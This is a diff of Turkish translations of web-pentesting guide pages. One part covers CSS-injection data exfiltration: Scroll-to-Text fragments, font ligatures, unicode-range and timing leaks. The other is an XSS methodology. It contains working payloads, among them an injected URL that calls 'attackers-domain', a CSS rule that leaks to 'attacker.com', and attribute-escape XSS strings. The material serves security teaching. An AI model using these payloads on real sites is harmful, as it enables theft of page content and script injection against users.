+- Bu element için `font-family`, `<style>` bölümünde tanımlandığı gibi `'poc'` olarak ayarlanır.
+- Kaynak (`favicon.ico`) yüklenemezse, `<object>` etiketinin içindeki yedek içerik (harf 'A') görüntülenir.
+- Harici kaynak yüklenemezse yedek içerik ('A'), özel yazı tipi `poc` kullanılarak render edilir.
 
-### Styling Scroll-to-Text Fragment
+### Scroll-to-Text Fragment'ın Stili
 
-The **`:target`** pseudo-class is employed to select an element targeted by a **URL fragment**, as specified in the [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo). It's crucial to understand that `::target-text` doesn't match any elements unless the text is explicitly targeted by the fragment.
+Belirtilen [CSS Selectors Level 4 specification](https://drafts.csswg.org/selectors-4/#the-target-pseudo) doğrultusunda, bir **URL fragment** tarafından hedeflenen elementi seçmek için **`:target`** pseudo-class'ı kullanılır. Fragman tarafından metin açıkça hedeflenmedikçe `::target-text` hiçbir elementi eşlemez.
 
-A security concern arises when attackers exploit the **Scroll-to-text** fragment feature, allowing them to confirm the presence of specific text on a webpage by loading a resource from their server through HTML injection. The method involves injecting a CSS rule like this:
+Saldırganların **Scroll-to-text** fragment özelliğini kötüye kullanması bir güvenlik endişesi doğurur; bu sayede HTML injection yoluyla kendi sunucularından bir kaynak yükleyerek bir web sayfasında belirli bir metnin varlığını doğrulayabilirler. Yöntem şu şekilde bir CSS kuralı enjekte etmeyi içerir:
 ```css
 :target::before {
 content: url(target.png);
 }
 ```
-Böyle durumlarda, sayfada "Administrator" metni bulunuyorsa, sunucudan `target.png` isteği yapılır; bu da metnin varlığını gösterir. Bu saldırının bir örneği, enjekte edilmiş CSS'i Scroll-to-text fragment ile birlikte gömülü olarak içeren özel hazırlanmış bir URL aracılığıyla gerçekleştirilir:
+Böyle senaryolarda, sayfada "Administrator" metni bulunuyorsa, sunucudan `target.png` kaynağı istenir ve bu metnin varlığını gösterir. Bu attack örneği, injected CSS'i Scroll-to-text fragment ile birlikte gömülmüş şekilde içeren özel hazırlanmış bir URL aracılığıyla gerçekleştirilebilir:
 ```
 http://127.0.0.1:8081/poc1.php?note=%3Cstyle%3E:target::before%20{%20content%20:%20url(http://attackers-domain/?confirmed_existence_of_Administrator_username)%20}%3C/style%3E#:~:text=Administrator
 ```
-Burada saldırı, CSS kodunu iletmek için HTML injection'ı manipüle eder; hedef Scroll-to-text fragment (`#:~:text=Administrator`) aracılığıyla "Administrator" metnidir. Metin bulunursa belirtilen kaynak yüklenir ve bu istemeden varlığının saldırgana bildirilmesine yol açar.
+Burada saldırı, HTML injection'ı manipüle ederek CSS kodunu iletmekte ve Scroll-to-text fragment (`#:~:text=Administrator`) aracılığıyla "Administrator" adlı özel metni hedeflemektedir. Metin bulunursa, belirtilen kaynak yüklenir ve bu durum istemeden saldırgana varlığını bildirir.
 
-Etkili mitigasyon için şu noktalar göz önünde bulundurulmalıdır:
+Önlemler için aşağıdaki hususlara dikkat edilmelidir:
 
-1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) yalnızca kelime veya cümlelerle eşleştirme yapacak şekilde tasarlanmıştır; bu da rastgele sırlar veya token'ları sızdırma yeteneğini sınırlar.
-2. **Restriction to Top-level Browsing Contexts**: STTF yalnızca üst seviye tarayıcı bağlamlarında çalışır ve iframe'ler içinde işlev görmez; bu da herhangi bir istismar girişimini kullanıcı için daha fark edilir kılar.
-3. **Necessity of User Activation**: STTF'nin çalışması için bir user-activation gesture gereklidir; bu da istismarların yalnızca kullanıcı kaynaklı navigasyonlarla mümkün olduğu anlamına gelir. Bu gereklilik, kullanıcı etkileşimi olmadan saldırıların otomatikleştirilmesi riskini büyük ölçüde azaltır. Yine de blog yazısının yazarı, belirli koşullar ve bypass'lar (ör. social engineering, yaygın tarayıcı eklentileriyle etkileşim) ile saldırının otomatikleştirilmesini kolaylaştırabilecek durumlara dikkat çekiyor.
+1. **Constrained STTF Matching**: Scroll-to-text Fragment (STTF) sadece kelimeler veya cümlelerle eşleşecek şekilde tasarlanmıştır; bu da rastgele gizli bilgileri veya token'ları leak etme yeteneğini sınırlamaktadır.
+2. **Restriction to Top-level Browsing Contexts**: STTF yalnızca üst düzey tarama bağlamlarında çalışır ve iframes içinde işlev görmez; bu da herhangi bir istismar girişimini kullanıcı için daha fark edilir hale getirir.
+3. **Necessity of User Activation**: STTF'nin çalışması için bir user-activation gesture gereklidir; bu, istismarların yalnızca kullanıcı kaynaklı yönlendirmelerle mümkün olduğu anlamına gelir. Bu gereklilik, kullanıcı etkileşimi olmadan saldırıların otomatikleştirilmesi riskini önemli ölçüde azaltır. Yine de, blog yazısının yazarı, saldırının otomasyonunu kolaylaştırabilecek belirli koşullar ve bypasses (ör. social engineering, yaygın browser extensions ile etkileşim) olduğunu belirtir.
 
-Bu mekanizmaların ve potansiyel zayıflıkların farkında olmak, web güvenliğini korumak ve bu tür istismarcı taktiklere karşı korunmak için önemlidir.
+Bu mekanizmalar ve olası zayıflıklar hakkında farkındalık, web güvenliğini korumak ve bu tür istismarcı taktiklere karşı savunma sağlamak için anahtardır.
 
-Daha fazla bilgi için orijinal raporu inceleyin: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
+Detaylar için orijinal rapora bakın: [https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/](https://www.secforce.com/blog/new-technique-of-stealing-data-using-css-and-scroll-to-text-fragment-feature/)
 
-[**Bu teknikle bir CTF için hazırlanmış exploit'i burada inceleyebilirsiniz**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb).
+Bu teknikle ilgili bir CTF exploit'ini [**burada**](https://gist.github.com/haqpl/52455c8ddfec33aeefb468301d70b6eb) inceleyebilirsiniz.
 
 ### @font-face / unicode-range <a href="#text-node-exfiltration-i-ligatures" id="text-node-exfiltration-i-ligatures"></a>
 
-Belirli unicode değerleri için **harici fontlar** belirtebilirsiniz; bu fontlar yalnızca sayfada bu unicode değerleri bulunuyorsa **yüklenir**. Örneğin:
+Sayfada yalnızca o unicode değerleri mevcutsa **alınacak** şekilde, belirli unicode değerleri için **harici fontlar** belirtebilirsiniz. Örnek:
 ```html
 <style>
 @font-face {
@@ -249,18 +248,18 @@ When you access this page, Chrome and Firefox fetch "?A" and "?B" because text n
 
 **Reference:** [Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
 
-Açıklanan teknik, font ligatürlerinden yararlanarak ve genişlik değişikliklerini izleyerek bir node'daki metni çıkarmayı içerir. Süreç birkaç adımdan oluşur:
+Anlatılan teknik, font ligatures'ı kullanarak bir düğümden metin çıkarmayı ve genişlik değişikliklerini izlemeyi içerir. Süreç birkaç adım içerir:
 
-1. **Ozel Fontların Oluşturulması**:
+1. **Creation of Custom Fonts**:
 
-- SVG fontları, iki karakterli bir diziyi temsil eden glypha için büyük bir genişlik ayarlayan `horiz-adv-x` attributesine sahip glyph'ler ile hazırlanır.
-- Örnek SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" iki karakterlik bir diziyi gösterir.
+- SVG fonts, iki karakter dizisini temsil eden bir glyph için büyük bir genişlik ayarlayan `horiz-adv-x` özniteliğine sahip glyph'lerle oluşturulur.
+- Örnek SVG glyph: `<glyph unicode="XY" horiz-adv-x="8000" d="M1 0z"/>`, burada "XY" iki karakterlik bir diziyi belirtir.
 - Bu fontlar daha sonra fontforge kullanılarak woff formatına dönüştürülür.
 
-2. **Genişlik Değişikliklerinin Tespiti**:
+2. **Detection of Width Changes**:
 
-- Metnin sarılmaması için CSS kullanılır (`white-space: nowrap`) ve scrollbar stili özelleştirilir.
-- Yatay scrollbar'ın belirgin şekilde stilize edilmiş olarak ortaya çıkması, belirli bir ligatürün (dolayısıyla belirli bir karakter dizisinin) metinde bulunduğuna dair bir gösterge (oracle) görevi görür.
+- CSS kullanılarak metnin satır kırmaması (`white-space: nowrap`) ve kaydırma çubuğu stilinin özelleştirilmesi sağlanır.
+- Özgün olarak stillendirilmiş bir yatay kaydırma çubuğunun görünmesi, belirli bir ligature'ın ve dolayısıyla belirli bir karakter dizisinin metinde bulunduğuna dair bir gösterge (oracle) işlevi görür.
 - İlgili CSS:
 ```css
 body {
@@ -274,49 +273,49 @@ background: url(http://attacker.com/?leak);
 }
 ```
 
-3. **Sömürü Süreci**:
+3. **Exploit Process**:
 
-- **Adım 1**: İki karakterlik çiftler için büyük genişlikli glyph'ler içeren fontlar oluşturulur.
-- **Adım 2**: Büyük genişlikli glyph'in (iki karakterlik ligatür) render edildiğini tespit etmek için scrollbar tabanlı bir hile kullanılır; bu, ilgili karakter dizisinin varlığını gösterir.
-- **Adım 3**: Bir ligatür tespit edildikten sonra, tespit edilen çifti içeren ve ona önceki veya sonraki bir karakter ekleyen üç karakterlik dizileri temsil eden yeni glyph'ler üretilir.
-- **Adım 4**: Üç karakterlik ligatürün tespiti yapılır.
-- **Adım 5**: Süreç tekrarlanır ve metnin tamamı kademeli olarak açığa çıkarılır.
+- **Step 1**: İki karakterlik çiftler için büyük genişlikli glyph'ler içeren fontlar oluşturulur.
+- **Step 2**: Büyük genişlikli glyph'in (karakter çifti için ligature) render edildiğini tespit etmek için kaydırma çubuğu tabanlı bir hile kullanılır; bu, karakter dizisinin varlığını gösterir.
+- **Step 3**: Bir ligature tespit edildiğinde, tespit edilen çifti içeren ve önüne veya arkasına bir karakter ekleyen üç karakterlik dizileri temsil eden yeni glyph'ler üretilir.
+- **Step 4**: Üç karakterlik ligature'ın tespiti gerçekleştirilir.
+- **Step 5**: Süreç tekrar edilir ve metin kademeli olarak ortaya çıkar.
 
-4. **Optimizasyon**:
-- Şu anki başlatma yöntemi olarak kullanılan `<meta refresh=...` optimal değil.
-- Daha verimli bir yaklaşım, exploit'in performansını artıracak CSS `@import` hilesini içerebilir.
+4. **Optimization**:
+- Şu anki başlatma yöntemi olan `<meta refresh=...` optimal değil.
+- Daha verimli bir yaklaşım, exploit'in performansını artırabilecek CSS `@import` hilesini içerebilir.
 
 ### Text node exfiltration (II): leaking the charset with a default font (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
 **Reference:** [PoC using Comic Sans by @Cgvwzq & @Terjanq](https://demo.vwzq.net/css2.html)
 
-This trick was released in this [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/). The charset used in a text node can be leaked **using the default fonts** installed in the browser: no external -or custom- fonts are needed.
+Bu hile, bu [**Slackers thread**](https://www.reddit.com/r/Slackers/comments/dzrx2s/what_can_we_do_with_single_css_injection/) içinde yayınlandı. Bir metin düğümünde kullanılan charset, tarayıcıya yüklü varsayılan fontlar kullanılarak leak edilebilir: dışa -veya özel- fontlara gerek yoktur.
 
-Konsept, bir `div`'in genişliğini kademeli olarak genişleten bir animasyon kullanarak, metnin 'suffix' bölümünden 'prefix' bölümüne bir kerede bir karakterin geçişine izin vermeye dayanır. Bu süreç metni etkin bir şekilde iki bölüme ayırır:
+Kavram, bir `div`'in genişliğini animasyonla kademeli olarak genişleterek her seferinde bir karakterin metnin 'suffix' bölümünden 'prefix' bölümüne geçmesini sağlamaya dayanır. Bu işlem metni iki bölüme ayırır:
 
-1. Prefix: İlk satır.
-2. Suffix: Sonraki satır(lar).
+1. **Prefix**: İlk satır.
+2. **Suffix**: Sonraki satır(lar).
 
-Karakterlerin geçiş aşamaları şu şekilde görünür:
+Karakterlerin geçiş aşamaları şu şekilde görünecektir:
 
-C\
+**C**\
 ADB
 
-CA\
+**CA**\
 DB
 
-CAD\
+**CAD**\
 B
 
-CADB
+**CADB**
 
-Bu geçiş sırasında, her yeni karakter prefix'e katıldıkça tespit etmek için **unicode-range trick** kullanılır. Bu, fontu Comic Sans'a geçirerek yapılır; Comic Sans varsayılan fonttan belirgin şekilde daha uzundur ve sonuçta dikey bir scrollbar tetikler. Bu scrollbar'ın ortaya çıkması, dolaylı olarak prefix'te yeni bir karakterin varlığını açığa çıkarır.
+Bu geçiş sırasında, öne katılan her yeni karakteri tespit etmek için **unicode-range trick** kullanılır. Bu, fontun Comic Sans'a geçirilmesiyle sağlanır; Comic Sans varsayılan fonttan belirgin şekilde daha yüksek olduğu için dikey bir kaydırma çubuğunu tetikler. Bu kaydırma çubuğunun görünmesi, öne yeni bir karakterin eklendiğini dolaylı olarak ortaya çıkarır.
 
-Bu yöntem benzersiz karakterlerin ortaya çıkışını tespit etmeye olanak verir, ancak hangi karakterin tekrarlandığını belirtmez; yalnızca bir tekrarın olduğu bilgisini verir.
+Bu yöntem, benzersiz karakterlerin görünürken tespit edilmesini sağlar, ancak hangi karakterin tekrarlandığını belirlemez; yalnızca bir tekrarın gerçekleştiğini bildirir.
 
 > [!TIP]
-> Temelde, **unicode-range** bir karakteri tespit etmek için kullanılır, fakat dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekir.\
-> **Karakter** **bulunduğunda**, ona önceden yüklü **Comic Sans** fontu **atanır**, bu da karakteri **daha büyük** yapar ve **bir scroll barı tetikler**; bu da bulunan karakteri **leak** eder.
+> Temelde, **unicode-range is used to detect a char**, ancak dış bir font yüklemek istemediğimiz için başka bir yol bulmamız gerekiyor.\
+> **Char** **bulunduğunda**, önceden yüklü **Comic Sans fontu** verilir; bu, char'ı **daha büyük** yapar ve **bir scroll bar'ı tetikler** ve bu da bulunan char'ı **leak** eder.
 
 Check the code extracted from the PoC:
 ```css
@@ -745,15 +744,15 @@ background: blue var(--leak);
 ```
 ### Text node exfiltration (III): leaking the charset with a default font by hiding elements (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referans:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak belirtilmiştir
+**Referans:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak bahsedilmiştir.
 
-Bu durum öncekiyle çok benzerdir; ancak burada belirli **chars'ları diğerlerinden daha büyük yapmak** bir butonun bot tarafından tıklanmaması veya yüklenmeyecek bir resim gibi bir şeyi gizlemek amacıyla yapılır. Böylece eylemi (veya eylemin yokluğunu) ölçüp metin içinde belirli bir char'ın bulunup bulunmadığını anlayabiliriz.
+Bu durum bir öncekine çok benziyor; ancak burada amaç belirli **karakterleri diğerlerinden daha büyük yapmak suretiyle bir şeyi gizlemek** — örneğin bir butonun bot tarafından tıklanmamasını sağlamak ya da bir resmin yüklenmemesini sağlamak. Böylece eylemi (veya eylemin yokluğunu) ölçüp belirli bir karakterin metin içinde olup olmadığını öğrenebiliriz.
 
 ### Text node exfiltration (III): leaking the charset by cache timing (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Referans:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak belirtilmiştir
+**Referans:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak bahsedilmiştir.
 
-Bu durumda, aynı origin'den fake bir font yükleyerek metinde bir char'ın olup olmadığını leak etmeye çalışabiliriz:
+Bu durumda, bir karakterin metinde olup olmadığını anlamak için aynı origin'den sahte bir font yükleyerek leak etmeyi deneyebiliriz:
 ```css
 @font-face {
 font-family: "A1";
@@ -761,15 +760,15 @@ src: url(/static/bootstrap.min.css?q=1);
 unicode-range: U+0041;
 }
 ```
-Eğer bir eşleşme olursa, **font `/static/bootstrap.min.css?q=1`'den yüklenecek**. Başarılı şekilde yüklenmese bile, **tarayıcı bunu önbelleğe almalı**, ve önbellek olmasa bile bir **304 not modified** mekanizması olduğu için, **yanıt diğer şeylere göre daha hızlı** olmalıdır.
+Eşleşme olursa, **font `/static/bootstrap.min.css?q=1`'den yüklenecek**. Başarılı şekilde yüklenmese bile, **tarayıcı bunu önbelleğe almalı**, ve önbellek olmasa bile bir **304 not modified** mekanizması vardır; bu yüzden **yanıt diğer şeylere göre daha hızlı** olmalıdır.
 
-Ancak, önbelleğe alınmış yanıt ile önbelleğe alınmamış olan arasındaki zaman farkı yeterince büyük değilse, bu işe yaramaz. Örneğin, yazar şöyle demiş: "Ancak testten sonra, ilk sorunun hızın çok farklı olmaması, ikinci sorunun ise botun `disk-cache-size=1` bayrağını kullanması olduğunu gördüm; bu gerçekten dikkatli."
+Ancak, önbellekli yanıt ile önbelleksiz yanıt arasındaki zaman farkı yeterince büyük değilse bu işe yaramaz. Örneğin, yazar şöyle demiş: "Test ettikten sonra ilk problemin hızın pek farklı olmaması olduğunu, ikinci problemin ise botun `disk-cache-size=1` bayrağını kullanması olduğunu gördüm; bu gerçekten dikkatli düşünülmüş."
 
 ### Text node exfiltration (III): leaking the charset by timing loading hundreds of local "fonts" (not requiring external assets) <a href="#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font" id="text-node-exfiltration-ii-leaking-the-charset-with-a-default-font"></a>
 
-**Reference:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak bahsedilmiştir
+**Referans:** Bu, [an unsuccessful solution in this writeup](https://blog.huli.tw/2022/06/14/en/justctf-2022-writeup/#ninja1-solves) olarak bahsediliyor
 
-Bu durumda, bir eşleşme olduğunda aynı origin'den yüzlerce sahte font yükleyecek **CSS** belirtebilirsiniz. Bu sayede **geçen zamanı ölçebilir** ve bir karakterin görünüp görünmediğini şu gibi bir şeyle tespit edebilirsiniz:
+Bu durumda, bir eşleşme olduğunda **CSS ile aynı origin'den yüzlerce sahte fonts yüklenmesini** belirtebilirsiniz. Bu şekilde geçen süreyi **ölçebilir** ve bir karakterin görünüp görünmediğini şu gibi bir şeyle bulabilirsiniz:
 ```css
 @font-face {
 font-family: "A1";
@@ -784,9 +783,9 @@ browser.get(url)
 WebDriverWait(browser, 30).until(lambda r: r.execute_script('return document.readyState') == 'complete')
 time.sleep(30)
 ```
-Yani, font eşleşmiyorsa, bota yapılan ziyarette yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak font eşleşmesi varsa, fontu almak için birden fazla istek gönderilecek ve bu da ağda sürekli aktiviteye neden olacaktır. Sonuç olarak durdurma koşulunun sağlanması ve yanıtın alınması daha uzun sürecektir. Bu nedenle yanıt süresi, font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
+Yani, font eşleşmiyorsa bota erişirken yanıt süresinin yaklaşık 30 saniye olması beklenir. Ancak font eşleşmesi varsa fontu almak için birden fazla istek gönderileceğinden ağda sürekli bir aktivite olur. Bu nedenle stop condition'ın sağlanması ve yanıtın alınması daha uzun sürer. Dolayısıyla yanıt süresi, font eşleşmesi olup olmadığını belirlemek için bir gösterge olarak kullanılabilir.
 
-## Referanslar
+## Kaynaklar
 
 - [https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e](https://gist.github.com/jorgectf/993d02bdadb5313f48cf1dc92a7af87e)
 - [https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b](https://d0nut.medium.com/better-exfiltration-via-html-injection-31c72a2dae8b)

src/pentesting-web/xss-cross-site-scripting/README.md

@@ -4,32 +4,33 @@
 
 ## Metodoloji
 
-1. Kontrol et eğer **kontrolün altındaki herhangi bir değer** (_parameters_, _path_, _headers_?, _cookies_?) HTML'de **yansıtılıyor** veya **JS** kodu tarafından **kullanılıyor** mu.
-2. **Yansıtıldığı/kullanıldığı bağlamı** bul.
+1. Kontrol ettiğiniz herhangi bir değer (**_parameters_**, **_path_**, **_headers_**?, **_cookies_**?) HTML'de **yansıtılıyor** veya **JS** kodu tarafından **kullanılıyor** mu diye kontrol edin.
+2. Yansıtıldığı/kullanıldığı **bağlamı bulun**.
 3. Eğer **yansıtılıyorsa**
-1. Hangi **sembolleri kullanabileceğini** kontrol et ve buna göre payload'u hazırla:
+1. Hangi **sembolleri kullanabileceğinizi** kontrol edin ve buna göre payload'u hazırlayın:
 1. **raw HTML** içinde:
-1. Yeni HTML tag'leri oluşturabilir misin?
-2. `javascript:` protokolünü destekleyen event veya attribute kullanabilir misin?
-3. Koruma mekanizmalarını atlayabilir misin?
-4. HTML içeriği herhangi bir client side JS engine (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu; [Client Side Template Injection](../client-side-template-injection-csti.md) suistimal edilebilir.
-5. Eğer JS kodu çalıştıran HTML tag'leri oluşturamıyorsan, [Dangling Markup - HTML scriptless injection](../dangling-markup-html-scriptless-injection/index.html) suistimal edilebilir mi?
+1. Yeni HTML tag'leri oluşturabiliyor musunuz?
+2. `javascript:` protokolünü destekleyen event'leri veya attribute'ları kullanabiliyor musunuz?
+3. Korumaları atlatabilir misiniz?
+4. HTML içeriği herhangi bir client side JS motoru (_AngularJS_, _VueJS_, _Mavo_...) tarafından yorumlanıyor mu? Bu durumda bir [**Client Side Template Injection**](../client-side-template-injection-csti.md) suistimal edilebilir.
+5. Eğer JS çalıştıran HTML etiketleri oluşturamıyorsanız, bir [**Dangling Markup - HTML scriptless injection**](../dangling-markup-html-scriptless-injection/index.html) suistimal edilebilir mi?
 2. Bir **HTML tag** içinde:
-1. Attribute'tan ve tag'den çıkarak raw HTML bağlamına çıkabilir misin?
-2. JS kodu çalıştırmak için yeni event/attribute oluşturabilir misin?
-3. Sıkıştığın attribute JS çalıştırmayı destekliyor mu?
-4. Koruma mekanizmalarını atlayabilir misin?
-3. **JavaScript** kodu içinde:
-1. `<script>` tag'ından kaçabilir misin?
-2. String'den kaçıp farklı JS kodu çalıştırabilir misin?
-3. Girdiğin template literals `` içinde mi?
-4. Koruma mekanizmalarını atlayabilir misin?
-4. Javascript **function** **çalıştırılıyorsa**
-1. Çalıştırılacak fonksiyonun adını belirtebilirsin. örn.: `?callback=alert(1)`
+1. Attribute'tan ve tag'ten kaçıp raw HTML bağlamına çıkabilir misiniz?
+2. JS kodu çalıştırmak için yeni event/attribute'lar oluşturabilir misiniz?
+3. Değerin yansıtıldığı attribute JS çalıştırmayı destekliyor mu?
+4. Korumaları atlatabilir misiniz?
+3. **JavaScript kodu** içinde:
+1. `<script>` tag'inden çıkabilir misiniz?
+2. String'den kaçıp farklı JS kodu çalıştırabilir misiniz?
+3. Girdiniz template literal (` `` `) içinde mi?
+4. Korumaları atlatabilir misiniz?
+4. Çalıştırılan Javascript **fonksiyonu**
+1. Çalıştırılacak fonksiyonun adını belirtebilirsiniz. Örnek: `?callback=alert(1)`
 4. Eğer **kullanılıyorsa**:
-1. **DOM XSS** suistimal edilebilir, girdinin nasıl kontrol edildiğine ve kontrolün hangi sink tarafından kullanıldığına dikkat et.
+1. Bir **DOM XSS** suistimal edebilirsiniz; girdinizin nasıl kontrol edildiğine ve **kontrol edilen girdinin herhangi bir sink tarafından kullanılıp kullanılmadığına** dikkat edin.
+
+Karmaşık bir XSS üzerinde çalışırken şu konu ilginizi çekebilir:
 
-Karmaşık bir XSS üzerinde çalışırken ilginç bulabileceğin şeyler:
 
 {{#ref}}
 debugging-client-side-js.md
@@ -37,31 +38,31 @@ debugging-client-side-js.md
 
 ## Yansıtılan değerler
 
-Bir XSS'i başarılı şekilde suistimal etmek için ilk bulman gereken şey, **senin tarafında kontrol edilen ve sayfada yansıtılan bir değer**dir.
+Başarılı bir XSS exploit'i için ilk bulmanız gereken şey web sayfasında **sizin tarafınızdan kontrol edilen ve yansıtılan bir değer**dir.
 
-- **Geçici olarak yansıtılan**: Eğer bir parametrenin veya path'in değeri web sayfasında yansıtılıyorsa **Reflected XSS** suistimal edilebilir.
-- **Saklanan ve yansıtılan**: Eğer kontrolün altındaki bir değer sunucuda saklanıyor ve her sayfa erişiminde yansıtılıyorsa **Stored XSS** suistimal edilebilir.
-- **JS aracılığıyla erişilen**: Eğer kontrolün altındaki bir değere JS ile erişiliyorsa **DOM XSS** suistimal edilebilir.
+- **Ara aşamada yansıtılan**: Eğer bir parametrenin veya path'in değeri web sayfasında yansıtılıyorsa **Reflected XSS**'ten faydalanabilirsiniz.
+- **Stored ve yansıtılan**: Eğer sizin kontrolünüzdeki bir değer sunucuda saklanıyor ve bir sayfaya erişimde her seferinde yansıtılıyorsa **Stored XSS** suistimal edilebilir.
+- **JS tarafından erişilen**: Eğer sizin kontrolünüzdeki bir değere JS ile erişiliyorsa **DOM XSS** suistimal edilebilir.
 
 ## Bağlamlar
 
-Bir XSS'i suistimal etmeye çalışırken ilk bilmen gereken şey, **girdinin nerede yansıtıldığıdır**. Bağlama bağlı olarak, rastgele JS kodunu farklı yollarla çalıştırabilirsin.
+XSS'i exploit etmeye çalışırken ilk bilmeniz gereken şey girdinizin **nerede yansıtıldığıdır**. Bağlama bağlı olarak JS kodunu farklı yollarla çalıştırabilirsiniz.
 
 ### Raw HTML
 
-Girdin **raw HTML** içinde yansıtılıyorsa JS kodu çalıştırmak için bazı **HTML tag'leri** suistimal etmen gerekir: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğin birçok HTML tag'inden sadece bazılarıdır.\
-Ayrıca [Client Side Template Injection](../client-side-template-injection-csti.md) unutma.
+Girdiniz **raw HTML** içinde yansıtılıyorsa JS kodu çalıştırmak için bazı **HTML tag'lerini** suistimal etmeniz gerekir: `<img , <iframe , <svg , <script` ... bunlar kullanabileceğiniz birçok HTML etiketinden sadece birkaçıdır.\
+Ayrıca [**Client Side Template Injection**](../client-side-template-injection-csti.md) aklınızda olsun.
 
-### Inside HTML tags attribute
+### HTML tag attribute değeri içinde
 
-Girdin bir tag attribute değerinin içinde yansıtılıyorsa deneyebilirsin:
+Girdiniz bir tag'ın attribute değerinin içinde yansıtılıyorsa şu denemeleri yapabilirsiniz:
 
-1. Attribute'tan ve tag'den **kaçıp** (o zaman raw HTML bağlamında olursun) yeni HTML tag oluşturarak suistimal et: `"><img [...]`
-2. Eğer **attribute'tan kaçabiliyor fakat tag'den kaçamıyorsan** (`>` encode edilmiş veya silinmişse), tag'e bağlı olarak JS çalıştıran bir **event** oluşturabilirsin: `" autofocus onfocus=alert(1) x="`
-3. Eğer **attribute'tan kaçamıyorsan** (`"` encode ediliyor veya siliniyorsa), hangi **attribute** içinde yansıtıldığına ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğine bağlı olarak suistimal imkanın olur. **Örneğin**, eğer `onclick=` gibi bir event'i kontrol ediyorsan tıklanınca arbitrary kod çalıştırabilirsin. Bir diğer ilginç **örnek** `href` attribute'üdür; burada `javascript:` protokolünü kullanarak arbitrary kod çalıştırabilirsin: **`href="javascript:alert(1)"`**
-4. Girdin "**kullanılamayan tag'ler**" içinde yansıtılıyorsa `accesskey` hilesini deneyebilirsin (bunu suistimal etmek için bir çeşit social engineering gerekecektir): **`" accesskey="x" onclick="alert(1)" x="`**
+1. Attribute'tan ve tag'ten **kaçmak** (o zaman raw HTML bağlamında olursunuz) ve suistimal etmek için yeni HTML tag'i oluşturmak: `"><img [...]`
+2. Eğer **attribute'tan kaçabiliyor ama tag'ten kaçamıyorsanız** (`>` encode edilip siliniyorsa), tag'e bağlı olarak JS kodu çalıştıran bir **event** oluşturabilirsiniz: `" autofocus onfocus=alert(1) x="`
+3. Eğer **attribute'tan kaçamıyorsanız** (`"` encode ediliyor veya siliniyorsa), hangi **attribute** içinde değerin yansıtıldığına ve değerin tamamını mı yoksa sadece bir kısmını mı kontrol ettiğinize bağlı olarak bunu suistimal edebilirsiniz. Örneğin, `onclick=` gibi bir event'i kontrol ediyorsanız, tıklandığında arbitrar kod çalıştırabilirsiniz. Diğer ilginç bir örnek `href` attribute'üdür; burada `javascript:` protokolünü kullanarak arbitrar kod çalıştırabilirsiniz: `href="javascript:alert(1)"`
+4. Girdiniz "**suistimal edilemez tag'lar**" içinde yansıtılıyorsa `accesskey` hilesini deneyebilirsiniz (bunu exploit etmek için bir çeşit sosyal mühendislik gerekir): `" accesskey="x" onclick="alert(1)" x="`
 
-Bir class ismini kontrol ediyorsan Angular'ın XSS çalıştırdığı garip örnek:
+Angular'ın bir class adını kontrol etmeniz durumunda XSS çalıştırdığı garip örnek:
 ```html
 <div ng-app>
 <strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
@@ -69,15 +70,15 @@ Bir class ismini kontrol ediyorsan Angular'ın XSS çalıştırdığı garip ör
 ```
 ### JavaScript kodu içinde
 
-Bu durumda girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyası içinde veya **`javascript:`** protokolünü kullanan bir öznitelik içinde yansıtılır:
+Bu durumda girdiniz bir HTML sayfasının **`<script> [...] </script>`** etiketleri arasında, bir `.js` dosyasının içinde veya **`javascript:`** protokolünü kullanan bir attribute içinde yansıtılmıştır:
 
-- Eğer yansıma **`<script> [...] </script>`** etiketleri arasındaysa, girdiniz herhangi bir tür tırnak içinde olsa bile `</script>` enjekte etmeyi ve bu bağlamdan kaçmayı deneyebilirsiniz. Bu, çünkü **tarayıcı önce HTML etiketlerini parse eder** ve sonra içeriği işler; dolayısıyla enjekte ettiğiniz `</script>` etiketinin HTML kodu içinde olduğunu fark etmez.
